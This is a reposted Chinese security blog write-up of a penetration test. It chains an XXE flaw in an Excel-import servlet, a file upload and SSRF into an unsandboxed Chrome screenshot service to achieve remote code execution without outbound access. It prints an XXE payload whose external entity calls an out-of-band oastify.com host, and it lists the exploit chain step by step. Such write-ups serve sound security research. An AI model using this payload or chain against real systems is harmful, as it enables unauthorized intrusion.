XXE到ChromeRCE:一次完整的不出网利用实践

admin 2026-01-20 01:35:20 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了利用XXE实现ChromeRCE不出网攻击的实战案例。通过分析发现目标Tomcat存在Excel导入XXE及文件上传漏洞,Node.js截图服务调用无沙箱Chrome可被利用。作者上传恶意文件,利用XXE触发SSRF请求Node.js服务并诱导Chrome加载本地恶意文件,成功实现不出网RCE。该案例展示了漏洞链组合及架构分析对突破内网限制的关键作用。 综合评分: 86 文章分类: 渗透测试,漏洞分析,内网渗透,实战经验,WEB安全


cover_image

XXE到Chrome RCE:一次完整的不出网利用实践

原创

killer killer

漫漫安全路

2026年1月19日 12:00 江西

前言

最近忙着审计一些通用设备,停更了一段时间。翻阅以前的笔记,挑选了一个XXE到RCE的经典案例来分享,希望能给大家带来一些启发。

建议大家把公众号“漫漫安全路”设为星标!因为公众号现在只对常读和星标的才会推送。操作方法:进入公众点击右上角的【…】,然后点击【设为星标】即可。

一、服务架构分析

在完成目标系统的安装部署后,我对其Web服务架构进行了详细分析,发现该系统采用了双服务架构:

  • 主服务:Tomcat应用服务器
  • 辅助服务:Node.js实现的Web服务

服务架构图

1.1 Node.js截图服务审计

Node.js服务的核心代码位于 C:\xxxx\ScreenshotApp\server.js,从文件名可以看出这是一个截图应用。

代码结构

关键发现:代码中调用了Chrome浏览器,并且关闭了沙箱保护机制--no-sandbox参数)。

Chrome调用代码

该服务接收用户传入的URL参数,使用Chrome打开目标页面并进行截图操作。

URL处理逻辑

1.2 Chrome版本漏洞确认

经过版本检查,发现系统使用的Chrome版本较低,存在已知的RCE漏洞

Chrome漏洞

理论上可以直接使用Metasploit生成Payload进行利用。

但问题来了:通过外网测绘发现,虽然该服务监听在0.0.0.0,但实际开放到公网的实例并不多。这意味着我们需要找到一个SSRF漏洞来间接访问这个内网服务。

二、Excel导入功能的XXE漏洞挖掘

2.1 漏洞点定位

在Tomcat主应用中搜索了很久未授权的SSRF漏洞,未果。于是转变思路,开始寻找XXE(XML外部实体注入)漏洞,最终在Excel导入功能中找到了突破口。

Servlet代码

该Servlet的处理流程为:

  1. 接收用户上传的文件
  2. 解析Excel文件内容

解析流程1

解析流程2

2.2 XXE漏洞验证

XXE代码位置

在解析XLSX文件时,程序对XML内容的处理未禁用外部实体解析,导致XXE漏洞。

PoC构造:修改XLSX文件中的[Content_Types].xml

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE&nbsp;foo&nbsp;[
<!ELEMENT&nbsp;foo&nbsp;ANY>
<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"http://ukiayp51zrokeq6sm5h05cdit9zzno.oastify.com/111111">
]>
<foo>&xxe;</foo>

修改后的文件

上传修改后的XLSX文件:

上传操作

成功触发XXE,收到外带请求:

XXE触发

三、不出网利用链构造

3.1 初步利用思路

此时我们已经可以通过XXE调用Node.js截图服务,并传入URL参数触发Chrome RCE。但这个方案存在一个问题:需要外部服务器托管恶意Payload

对于追求完美的渗透测试来说,我们希望实现完全不出网的RCE利用

3.2 寻找文件上传功能

要实现不出网利用,我们需要找到一个未授权的文件上传点,要求:

  • ✅ 文件内容可控
  • ✅ 上传后可通过内部URL访问
  • ⚠️ 后缀名不需要可控

经过进一步挖掘,找到了符合条件的Servlet:

文件上传功能

上传实现

3.3 完整利用链

至此,完整的不出网RCE利用链构造完成:

  1. 第一步:利用文件上传功能,上传包含Chrome RCE Payload的恶意文件(如HTML代码),获取其Web访问路径
  2. 第二步:构造XXE Payload,将目标URL指向第一步上传的文件
  3. 第三步:将XXE Payload嵌入XLSX文件并上传导入
  4. 第四步:XXE触发 → SSRF访问Node.js服务 → Chrome打开恶意页面 → RCE成功

四、技术疑问与思考

在复盘这个案例时,我注意到一个有趣的问题:

Chrome访问JPG文件时,其中包含的HTML代码也会被解析吗?

当时测试确实可行,但没有深入研究其原理。可能的原因包括:

  • Content-Type响应头的影响
  • Chrome的MIME类型嗅探机制
  • 文件扩展名与实际内容的处理逻辑

感兴趣的朋友可以自行研究,欢迎交流讨论。

总结

这个案例展示了一个典型的漏洞链组合利用过程,展示了安全研究中”点-线-面”的思维方式。

服务漏洞

关键点在于:

  • 🔍 全面的服务架构分析
  • 🔗 多个漏洞的链式组合
  • 🎯 不出网利用的思路转换
  • 💡 对业务逻辑的深入理解

希望这个案例能为大家在实战中提供一些思路启发!


公众号专注于网络安全知识分享,主要为代码审计、攻防实战、WAF绕过等内容每周一篇期待你的关注。

免责声明:本文仅供安全研究和学习交流使用,请勿用于非法用途。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:漫漫安全路 killer killer《XXE到Chrome RCE:一次完整的不出网利用实践》

评论:0   参与:  0